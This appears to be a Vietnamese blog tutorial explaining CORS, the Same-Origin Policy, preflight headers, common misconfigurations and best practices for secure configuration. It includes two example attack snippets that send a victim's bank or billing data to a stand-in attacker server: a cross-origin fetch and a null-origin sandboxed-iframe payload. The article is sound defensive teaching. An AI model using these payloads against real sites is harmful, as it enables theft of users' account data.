By Đức Hiếu
Cross-Origin Resource Sharing (CORS) là một cơ chế bảo mật quan trọng trong phát triển web application hiện đại, cho phép kiểm soát việc truy cập tài nguyên giữa các domain khác nhau.
1. Vấn đề mà CORS giải quyết
1.1. Thời kỳ đầu Web: không có Same-Origin Policy (SOP)
Trong những ngày đầu của World Wide Web, các trình duyệt không có bất kỳ hạn chế nào về việc truy cập tài nguyên giữa các domain khác nhau. JavaScript code từ một trang web có thể:
- Gửi requests đến mọi server.
- Lấy dữ liệu nhạy cảm trên các trang web khác.
- Thực hiện các hành động ở các trang web khác thông qua user.
Ví dụ cụ thể: Tấn công Banking Website (Không có SOP). Cùng xem xét một ngữ cảnh tấn công thực tế để hiểu rõ mức độ nguy hiểm ở đây:
Bước 1: User đăng nhập vào ngân hàng
- User truy cập: https://mybank.com
- Đăng nhập thành công -> Browser lưu session cookie
- Cookie: sessionId=abc123; domain=mybank.com
Bước 2: User vô tình truy cập trang web độc hại
- User click vào link hoặc banner quảng cáo
- Bị chuyển đến: https://malicious-site.com
Bước 3: Malicious script thực thi (KHÔNG CÓ SOP - RẤT NGUY HIỂM)
// Script trên malicious-site.com
// Trong thế giới không có SOP, code này sẽ THÀNH CÔNG
// Đọc thông tin tài khoản
fetch('https://mybank.com/api/account/balance', {
credentials: 'include' // Tự động gửi kèm cookies
})
.then(response => response.json())
.then(data => {
console.log('Balance stolen:', data.balance); // $50,000
console.log('Account number:', data.accountNumber); // *****1234
// Gửi data về server của attacker
fetch('https://attacker-server.com/steal', {
method: 'POST',
body: JSON.stringify(data)
});
});
Ngoài việc attacker sẽ đọc thông tin tài khoản của user. Attacker còn có thể làm rất nhiều thứ khác như thực hiện giao dịch trái phép.
Có thể thấy nếu không có bất kỳ hạn chế nào về việc truy cập tài nguyên giữa các domain khác nhau. Chúng ta sẽ phải đối mặt với các vấn đề bảo mật nghiêm trọng được nảy sinh ra như:
- Cross-Site Script Inclusion attacks: các website độc hại có thể đọc và lấy dữ liệu từ các website khác mà bạn đang dùng như ngân hàng, email, facebook,...
- Credential theft: Attacker có thể truy cập session cookies và authentication tokens
- Data exfiltration: Thông tin cá nhân có thể bị đánh cắp mà user không hay biết
- Unauthorizaed actions: Script độc hại có thể thực hiện transaction, post content, change settings
1.2. Same-Origin Policy: Giải pháp bảo mật cần thiết
Để giải quyết những rủi ro bảo mật nghiêm trọng ở trên, thì các trình duyệt (browser) đã implement Same-Origin Policy (SOP). Khái niệm same-origin policy được giới thiệu bởi Netscape Navigator 2.02 vào năm 1995. Là một cơ chế bảo mật cơ bản được tích hợp sẵn trong tất cả các trình duyệt web hiện đại. Policy này ngăn chặn các tài liệu hoặc script từ một origin (origin có cấu trúc gồm <scheme>://<hostname>:<port>, ví dụ: https://example.com hoặc http://example.com:80) truy cập vào tài nguyên của origin khác, trừ khi chúng có cùng protocol, hostname và port.

Tuy nhiên, khi web applications trở nên phức tạp hơn, SOP bắt đầu cản trở các use case hợp lệ:
- Khó tích hợp API giữa các subdomain: giả sử bạn viết backend API với domain là api.myapp.com và frontend của bạn có domain fe.myapp.com thì lúc này vì SOP mà frontend của bạn không thể tích hợp api để phát triển được
- Khó tích hợp các API bên ngoài: khó tích hợp các dịch vụ api có sẵn như payment gateways, social media apis, authentication providers,...
Chi tiết về SOP các bạn có thể đọc thêm tại đây.
1.3. CORS: Giải pháp cân bằng giữa bảo mật và các tính năng cho web hiện đại
1.3.1. CORS là gì?
CORS được thiết kế để có kiểm soát việc nới lỏng SOP, cho phép server chỉ định rõ ràng những origin nào được phép truy cập tài nguyên của mình. Thay vì bỏ hoàn toàn SOP (điều này rất nguy hiểm), CORS sử dụng các HTTP headers để thiết lập một giao thức an toàn giữa trình duyệt và server.
Có thể hiểu CORS là một cơ chế bảo mật dựa trên HTTP, được kiểm soát và thực thi bởi client (browser). Cơ chế này được thiết kế nhằm giải quyết một số giới hạn của SOP: Ở origin A, chúng ta có thể cấu hình CORS cho phép origin B có thể tải một số tài nguyên (HTML hoặc script JS) nằm trên orgin A. CORS chủ yếu được implement trong browser, và các browser phổ biến như Google Chrome, Firefox, Opera và Safari,... đều có implement CORS.
1.3.2. CORS hoạt động như nào?
Trước khi browser gửi 1 request, Browser gửi một request gọi là CORS preflight đến server để hỏi server là “với các tham số để trong HTTP header (CORS request header mình sẽ giới thiệu ở phần dưới) này có được phép truy cập không?”. Server nhận preflight request kiểm tra và response lại policy được gắn trong header (CORS response header mình sẽ giới thiệu ở phần dưới) về lại cho browser. Lúc này browser dựa trên response của preflight CORS mà đưa ra quyết định xem nó có thể gửi request chính đến server hay không. Browser sẽ báo lỗi nếu response không đáp ứng các yêu cầu của CORS preflight.

1.3.4. CORS preflight là gì?
Trước khi browser gửi một request tới server, đầu tiền nó gửi một HTTP request với method OPTIONS. Hành động này được gọi là CORS preflight request. Sau đó server response với một danh sách các method và header được cho phép. Nếu thông tin header và method của request chính hợp lệ thì browser sẽ gửi request chính tới server. Ngược lại, browser sẽ throw lỗi và không tiếp tục gửi request chính, nếu request chính không hợp lệ.

1.3.5. Các CORS request header
Các CORS request header quan trọng dưới đây đều do browser tự động set và kiểm soát.
- Origin: Browser khai báo request đến từ origin nào cho server biết. Để server dựa vào origin và ra quyết định trả về header Access-Control-Allow-Origin tương ứng nhằm cho phép browser tiếp tục sử lý request hay không. Ví dụ:
Origin: https://frontend.exmaple.com
- Access-Control-Request-Method: Browser khai báo HTTP method của request chính cho server biết. vì preflight request luôn dùng OPTIONS method. Ví dụ:
Access-Control-Request-Method: POST
- Access-Control-Request-Headers: Browser liệt kê các header tùy chỉnh của request lên server. Để server đưa ra quyết định request chính có hợp lệ hay không. Ví dụ:
Access-Control-Request-Headers: Authorization, Content-Type
1.3.6. Các CORS resposne header
Với cors response header, server (backend) có toàn quyền quyết định nội dung header trả về. Browser sẽ dựa vào các header này để cho phép hoặc từ chối truy cập data từ domain khác.
- Access-Control-Allow-Origin: Server chỉ cho browser biết origin nào được phép truy cập tài nguyên. Có các giá trị *, null hoặc duy nhất 1 origin, ví dụ:
Access-Control-Allow-Origin: https://foo.io
. - Access-Control-Allow-Methods: Server chỉ cho browser biết các HTTP method được phép. Có thể sử dụng một hoặc nhiều HTTP method thông qua dấu phẩy, ví dụ:
Access-Control-Allow-Methods: GET, POST, PUT
. - Access-Control-Allow-Headers: Server chỉ cho browser biết các header nào trong request được phép sử dụng, ví dụ:
Access-Control-Allow-Headers: Authorization, Content-Type, X-My-Token
. - Access-Control-Allow-Credentials: Server chỉ cho browser biết có cho phép browser gửi các credentials (cookie, header xác thực) hay không. Mặc định là false.
- Access-Control-Max-Age: Server chỉ cho browser biết thời gian browser nên cache phản hồi preflight, tính theo giây. Mặc định là 5.
1.3.7. Sự nhầm lẫn phổ biến
Có một vấn đề mình nghĩ nhiều người thường hay nhầm lẫn rằng “CORS là cơ chế do server (backend) kiểm soát”. Nhưng mình xin nhấn mạnh rằng bản chất CORS phải là cơ chế kết hợp cả server và client/browser với server là nơi quy định policy gửi về cho browser tham khảo và đưa ra quyết định. Bởi vì nếu bạn dùng các công cụ như postman hoặc một số extension để block CORS trên browser thì bạn vẫn có thể call api từ một origin khác.
2. Một số sai lầm phổ biến về CORS mà Dev thường mắc phải
2.1. Wildcard (*)
Rất nhiều developer lần đầu deploy sản phẩm thường dính lỗi CORS và để cho nhanh các bạn thường set Access-Control-Allow-Origin: *
cho lẹ. Nhưng cấu hình này không khác gì việc mở cửa cho sói vào nhà. Khi để cấu hình như vậy thì mọi domain đều có thể truy cập tài nguyên, dễ bị các attacker khai các lỗ hổng bảo mật như ở ví dụ phần 1.1 tấn công Banking Website.
2.2. Origin header reflection
Origin header reflection xuất hiện do nhu cầu của dev trong việc hỗ trợ nhiều origins truy cập vào cùng một API. Nhưng header Access-Control-Allow-Origin
chỉ có thể chỉ định một origin duy nhất hoặc * (wildcard) về cho browser xử lý.
Vấn đề thực tế:
- Một App cần hỗ trợ nhiều subdomain: app.example.com, admin.example.com, mobile.example.com
- Duy trì một whitelist tĩnh đòi hỏi sự nỗ lực của dev phải liên tục thay đổi hoặc thêm mới khi có domain mới
- Dev cần linh hoạt trong các môi trường development và testing
Suy nghĩ sai lầm của Dev:
- Logic sai lầm phổ biến:
// Developer nghĩ: "Tôi sẽ đọc Origin header và reflect nó lại nếu hợp lệ"
const origin = request.headers.origin;
if (origin && origin.includes('trusted-domain.com')) {
response.setHeader('Access-Control-Allow-Origin', origin);
}
- Tại sao logic này có vẻ hợp lý:
- Flexible: Hỗ trợ nhiều subdomain động
- Convenient: Không cần maintain hardcoded list
- Development-friendly: Dễ test với môi trường localhost và staging
- Với logic trên attacker có thể tạo một domain
fake-trusted-domain.com
và BÙM. attacker lúc này đã có thể bypass Acccess-Control-Allow-Origin và thực hiện tấn công giống ví dụ ở phần 1.1 tấn công Banking Website.
2.3. Cho phép Null Origin header
Trong quá trình phát triển sản phẩm dưới local. Một số dev thường thêm null vào whitelist Orgin để tiện test (ví dụ khi chạy app từ file://
hay data://
thay vì http://localhost
). Tuy nhiên điều này là nguy hiểm, vì giá trị Origin: null
không chỉ xuất hiện trong môi trường local, mà còn trong nhiều context đặc biết của browser như:
- Tài liệu bị sandbox trong
<iframe sandbox>
- Các URL dạng
file://
,data://
, hoặcblob://
Attacher có thể lợi dụng điều này bằng cách nhúng một sandboxed iframe chứa script độc hại. Khi script trong iframe gửi request kèm cookie của victim đến API (ví dụ /api/account/billing), browser sẽ gán header Origin: null
. Nếu server đã cấu hình Access-control-Allow-Origin: null
, thì CORS sẽ cho phép response cross-origin. lúc này attacher có thể đọc dữ liệu nhạy cảm và chuyển về server của attacher.
<iframe sandbox="allow-scripts" srcdoc="
<script>
fetch('https://api.example.com/api/account/billing', {
credentials: 'include' // Include cookies
}).then(async (data) => {
// Forward response to your controlled server (in base64)
fetch('http://attacker-server/collector?data=' + btoa(await data.text()));
});
</script>
">
</iframe>
Các khắc phục:
- Tuyệt đối không đưa
null
vào whitelist choAccess-Controll-Allow-Origin
. - Trong môi trường dev, hãy dùng domain cụ thể như
http://localhost:3000
hoặc cấu hình DNS/hosts thay vì dựa vào Originnull
- Thực hiện whitelist theo exact match thay vì chấp nhận wildcard hay
null
3. Best practices
3.1. Sử dụng whitelist
Sử dụng whitelist cho các origin tin tưởng, tránh sử dụng blacklist hoặc regex để tránh tạo lỗ hổng cho attacker khai thác:
- blacklist không đảm bảo an toàn: Việc liệt kê các origin không cho phép vào blacklist sẽ khó bảo trì vì attacker có thể tạo các origin mới chưa bị chặn. Ngoài ra, blacklist phải luôn cập nhật, nếu không sẽ có kẽ hở lớn cho các cuộc tấn công.
- Regex không chuẩn gây nhầm lẫn: Các browser xử lý underscore, encoding URL khác nhau, dấn đến regex nhiều khi lọt lưới nguy hiểm, vô tình cấp quyền truy cập cross-origin cho domain không an toàn.
const allowedOrigins = [
'https://trusted-app.com',
'https://admin.trusted-app.com',
'https://mobile.trusted-app.com'
];
function validateOrigin(origin) {
return allowedOrigins.includes(origin);
}
// Node.js/Express example
app.use((req, res, next) => {
const origin = req.headers.origin;
if (validateOrigin(origin)) {
res.setHeader('Access-Control-Allow-Origin', origin);
}
next();
});
3.2. Chỉ cho phép Method và header cần thiết
Theo mình thì chỉ nên cho phép các method và header mà server cần dùng. Không nên để wildcard(*) để giảm thiểu rủi ro. Vì chúng ta không biết attacker có thẻ khai thác gì từ các method hay header mà ta không dùng tới
// Chỉ cho phép các methods cụ thể cần thiết
res.setHeader('Access-Control-Allow-Methods', 'GET, POST, PUT');
// Chỉ cho phép các headers cần thiết
res.setHeader('Access-Control-Allow-Headers', 'Content-Type, Authorization');
3.3. Sử dụng cấu hình khác nhau cho từng môi trường
const corsOptions = {
origin: process.env.NODE_ENV === 'development'
? ['http://localhost:3000', 'http://localhost:3001']
: ['https://production-domain.com'],
credentials: true,
optionsSuccessStatus: 200
};
3.4. Tối ưu preflight caching để cải thiện performance
Preflight request là các request kiểm tra bảo mật trước khi gửi request chính thức. Nếu không tối ưu:
- Trình duyệt sẽ gửi nhiều request OPTIONS tốn tài nguyên mạng, làm chậm trải nghiệm user
- Tăng tải cho server vì phải xử lý nhiều request preflight không thực sự lấy dữ liệu
- Khi preflight không được cache lâu, app web có thể bị giảm performance rõ rệt, đặc biệt với các request cross-origin nhiều lần
Tối ưu preflight bằng cách cache kết quả preflight giúp giảm số lượng request OPTIONS, tiết kiệm băng thông, giảm độ trễ tải dữ liệu, cải thiện hiệu năng tổng thể của ứng dụng web khi làm việc với API cross-origin.
Thời gian cache tối đa được giới hạn bởi các browser (Firefox - 24 tiếng, Chrome - 2 tiếng). Nên chọn con số nào cho Access-Controll-Max-Age
thì theo mình phải dựa vào tính chất của App. Với các app mang tính bảo mật cao có lẽ nên set ngắn lại còn với những App có lượng traffic cao thì nên set cao lên.
4. Giới hạn của CORS - Tại sao cần CSP?
CORS là cơ chế quan trọng giúp kiểm soát việc chia sẻ tài nguyên giữa các origin/domain khác nhau, giúp bảo vệ server khỏi các request không hợp lệ từ các origin không được phép. Tùy nhiên, CORS không phải là giải pháp bảo mật toàn diện cho ứng dụng web.
Điểm giới hạn của CORS là:
- Chỉ giúp browser kiểm soát việc truy cập tài nguyên: CORS giúp browser xác định origin/domain nào được phép gửi request đến server và nhận dữ liệu trả về. Nhưng nó không giúp browser kiểm soát điều gì được tải lên hay thực thi trên browser.
- Không thể ngăn chặn các tấn công phía client như Cross-Site-Scripting (XSS) hay code injection: Nếu một attacker tiêm được mã độc vào trang web (qua form input, script nhúng,...), mã này vẫn có thể chạy trên browser và thao tác với tài nguyên một cách nguy hiểm. CORS không có chức năng kiểm soát hay hạn chế hành vi này.
- Không kiểm soát cách browser tải và xử lý tài nguyên: Các đoạn script, style hay hình ảnh độc hại có thể vẫn được tải về và thực thi trên browser nếu không có biện pháp bảo vệ khác.
Từ những giới hạn này, chúng ta có thể thấy CORS không thể thay thế các biện pháp bảo mật tại client/browser. Chính vì vậy, Content Security Policy (CSP) ra đời như một lớp bảo vệ bổ sung, kiểm soát chặt chẽ hơn các nguồn tài nguyên được phép tải và thực thi trên trình duyệt, giúp ngăn chặn các cuộc tấn công injection và tăng cường an toàn cho ứng dung web.
Tài nguyên thêm: